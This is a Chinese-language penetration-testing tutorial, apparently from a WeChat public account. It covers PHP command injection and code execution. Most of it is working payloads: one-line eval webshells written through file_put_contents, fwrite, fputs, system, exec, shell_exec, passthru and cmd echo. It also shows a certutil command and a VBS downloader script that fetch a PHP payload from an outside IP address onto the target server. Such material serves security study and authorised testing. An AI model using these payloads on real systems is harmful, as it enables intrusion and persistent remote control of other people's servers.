通过代码执行或命令执行写Shell
公众号：白帽子左一
专注分享渗透经验，干货技巧...
本文由团队手电筒分享，如果你还是个小白担心看不懂，没关系，“三步写马””如何上传木马”“如何拿下服务器并妥善管理”等实战内容可以结合视频观看，视频演示先从原理，再到实操演示，一步步清晰明了，更易吸收，视频私信我
php
一.命令执行
命令执行（注入）常见可控位置情况有下面几种：
system("$arg"); //可控点直接是待执行的程序
如果我们能直接控制$arg，那么就能执行执行任意命令了。
system("/bin/prog $arg"); //可控点是传入程序的整个参数
我们能够控制的点是程序的整个参数，我们可以直接用&& || 或 | 等等，利用与、或、管道命令来执行其他命令（可以涉及到很多linux命令行技巧）。
system("/bin/prog -p $arg"); //可控点是传入程序的某个参数的值（无引号包裹）
我们控制的点是一个参数，我们也同样可以利用与、或、管道来执行其他命令，情境与二无异。
system("/bin/prog -p="$arg"");//可控点是传入程序的某个参数的值（有双引号包裹）
这种情况压力大一点，有双引号包裹。
如果引号没有被转义，我们可以先闭合引号，成为第三种情况后按照第三种情况来利用，如果引号被转义（addslashes）、我们也不必着急。
linux shell 环境下双引号中间的变量也是可以被解析的，我们可以在双引号内利用反引号执行任意命令 id
system("/bin/prog --p='$arg'"); //可控点是传入程序的某个参数的值（有单引号包裹）
这是最困难的一种情况
因为单引号内只是一个字符串，我们要先闭合单引号才可以执行命令。
如：system(“/bin/prog –p=’aaa’ | id”)
在漏洞检测中，除了有回显的命令
还可以使用盲打的方式，比如curl远程机器的某个目录（看access.log），或者通过DNS解析的方式获取到漏洞机器发出的请求。
当我们确定了OS命令注入漏洞后，通常可以执行一些初始命令来获取有关受到破坏的系统的信息。
以下是在Linux和windows平台上常用的一些命令的摘要：
|
命令目的 |
linux |
windows |
|
当前用户名 |
whoami |
whoami |
|
操作系统 |
uname -a |
ver |
|
网络配置 |
ifconfig |
ipconfig /all |
|
网络连接 |
.NETstat -an |
netstat -an |
|
运行进程 |
ps -ef |
tasklist |
命令分隔符
在Linux上， ; 可以用 |、|| 代替
;前面的执行完执行后面的
|是管道符，显示后面的执行结果
||当前面的执行出错时执行后面的
可用**%0A和 n**换行执行命令
在Windows上，不能用 ; 可以用&、&&、|、||代替
&前面的语句为假则直接执行后面的
&&前面的语句为假则直接出错，后面的也不执行
|直接执行后面的语句
||前面出错执行后面的
PHP 支持一个执行运算符：反引号（``） PHP 将尝试将反引号中的内容作为 shell 命令来执行，并将其输出信息返回
<?php echo `whoami`;?>
效果与函数 shell_exec() 相同，都是以字符串的形式返回一个命令的执行结果，可以保存到变量中
二.代码执行
此处以php为例，其它语言也存在这类利用。
(1) preg_replace()函数：
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [,int $limit =-1[,int&$count ]])
当$pattern处存在e修饰符时，$replacement 会被当做php代码执行。
(2)mixed call_user_func( callable $callbank [ , mixed $parameter [ , mixed
$…)：
第一个参数为回调函数，第二个参数是回调函数的参数
(3)eval()和assert()：
当assert()的参数为字符串时 可执行PHP代码
【区分】：
eval(" phpinfo(); ");【√】eval(" phpinfo() ");【X】
assert(" phpinfo(); ");【√】assert(" phpinfo() ");【√】
三.反序列化
php反序列化导致RCE的原理及利用，参考专题文章：
四.通过代码执行或命令执行写shell
代码执行写shell
当遇到一个可以代码执行的位置时，我们可以通过写webshell来进行进一步渗透
1.file_put_contents函数
file_put_contents函数格式为file_put_contents(filename,data)
指定写入文件名和写入文件的数据
可以通过这个函数去写入数据
这里用了网上的漏洞测试的平台
测试语句为：
file_put_contents('gt.php','<?php eval($_REQUEST[5]);?>');
访问文件
2.fopen() 创建文件函数
fopen函数,格式为fopen(filename,mode) 前面是文件名，后面是规定要求到该文件/流的访问类型
它的作用是打开文件或url，这里当后续命令为w，或W+ 时，当文件不存在的话就会新建一个文件
然后再用fwrite去写入数据
fwrite()写入文件函数，格式为fwrite(file,string)，这里file是文件名，string是写入的字符串
这里注意如果是通过assert函数去代码执行，那么只允许一条语句去执行
这里可以把两个命令写一起
例如
fwrite(fopen('z23.php','a'),'<?php phpinfo(); ?>');
执行效果如下
执行语句
fwrite(fopen('z23.php','a'),'<?php phpinfo(); ?>');
访问文件
3.fputs函数
Fputs函数也是php里一个用于写入文件的函数，它其实是fwrite的别名
基本用法和fwrite一样
测试语句为
fputs(fopen('tk.php','w'),'<?php phpinfo();?>');
执行语句
fputs(fopen('tk.php','w'),'<?php phpinfo();?>');
访问文件
4.通过执行命令执行函数去写shell
通过代码执行漏洞去执行代码脚本调用操作系统命令
常用函数有
system()
exec()
shell_exec()
passthru()
pcntl_exec()
popen()
proc_open()
这里我们只挑选其中部分来测试,其他的道理差不多
4.1、首先为system()
测试语句为
system(' echo "<?php @eval($_REQUEST[8])?>" >pp.php ');
然后访问文件测试下
测试完成
4.2、exec()函数
测试语句如下
exec(' echo "<?php @eval($_REQUEST[8])?>" >ppl.php ');
在本地执行下
访问生成文件
4.3、shell_exec()函数
测试语句为
shell_exec(' echo "<?php @eval($_REQUEST[8])?>" >ppk.php ');
在本地执行测试
访问生成文件
4.4、passthru()函数
测试语句为
passthru(' echo "<?php @eval($_REQUEST[8])?>" >ppm.php ');
在本地测试
访问生成文件
命令执行写webshell
通过cmd命令去写入
通过cmd里的echo去写入webshell
命令如下
echo "<?php @eval($_REQUEST[8])?>">223.php
执行如下
返回页面如下
访问223.php
通过命令执行去远程下载shell
利用windows的certutil命令
例:
certutil -urlcache -split -f http://129.211.169.121/123.php
通过windows的certutil去在外部下载文件
这个certutil是windows系统上预装的工具，一般用于校验md5,sha1,sha256,下载文件
执行这个需要相当高的权限，
在搭建的服务器上安装好环境
在本地测试一下
执行命令
certutil -urlcache -split -f http://129.211.169.121/123.php
得到结果
得到返回文件
访问效果如下
通过vbs去建立脚本去下载
vbs是基于visual Basic的脚本语言，一般windows设备自带
这里我们通过命令执行去写入脚本，然后再通过命令执行去下载shell
测试脚本如下
Set args =Wscript.Arguments
Url="http://129.211.169.121/1234.php"
dim xHttp:Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm:Set bStrm = createobject("Adodb.Stream")
xHttp.Open"GET",Url,False
xHttp.Send
with bStrm
.type =1
.open
.write xHttp.responseBody
.savetofile "12345.php",2
endwith
先再远程机器上设立一个php文件名为1234.php
内容为
<?php
echo “<?php phpinfo();?>”;
?>
为什么要这样写呢？
这个脚本是直接读取远程机器上的文件信息然后写入到一个文件里，我们通过读取这个php页面显示的语句去获得shell内容
然后我们在页面里去写入vbs文件，这里脚本内容过长，且有换行，我们通过echo 一条条写入命令，和前面命令执行写shell一样
echo Set args =Wscript.Arguments> xxx.vbs
echo Url="http://129.211.169.121/1234.php">>xxx.vbs
echo dim xHttp:Set xHttp = createobject("Microsoft.XMLHTTP")>>xxx.vbs
echo dim bStrm:Set bStrm = createobject("Adodb.Stream")>>xxx.vbs
echo xHttp.Open"GET",Url,False>>xxx.vbs
echo xHttp.Send>>xxx.vbs
echo with bStrm >>xxx.vbs
echo .type =1>>xxx.vbs
echo .open >>xxx.vbs
echo .write xHttp.responseBody >>xxx.vbs
echo .savetofile "12345.php",2>>xxx.vbs
echo endwith>>xxx.vbs
后续内容通过>> 换行写入
得到xxx.vbs文件
然后在存在命令执行处执行命令去下载文件
执行命令 start wscript -e:vbs xxx.vbs
然后得到文件
去访问
未完待续...
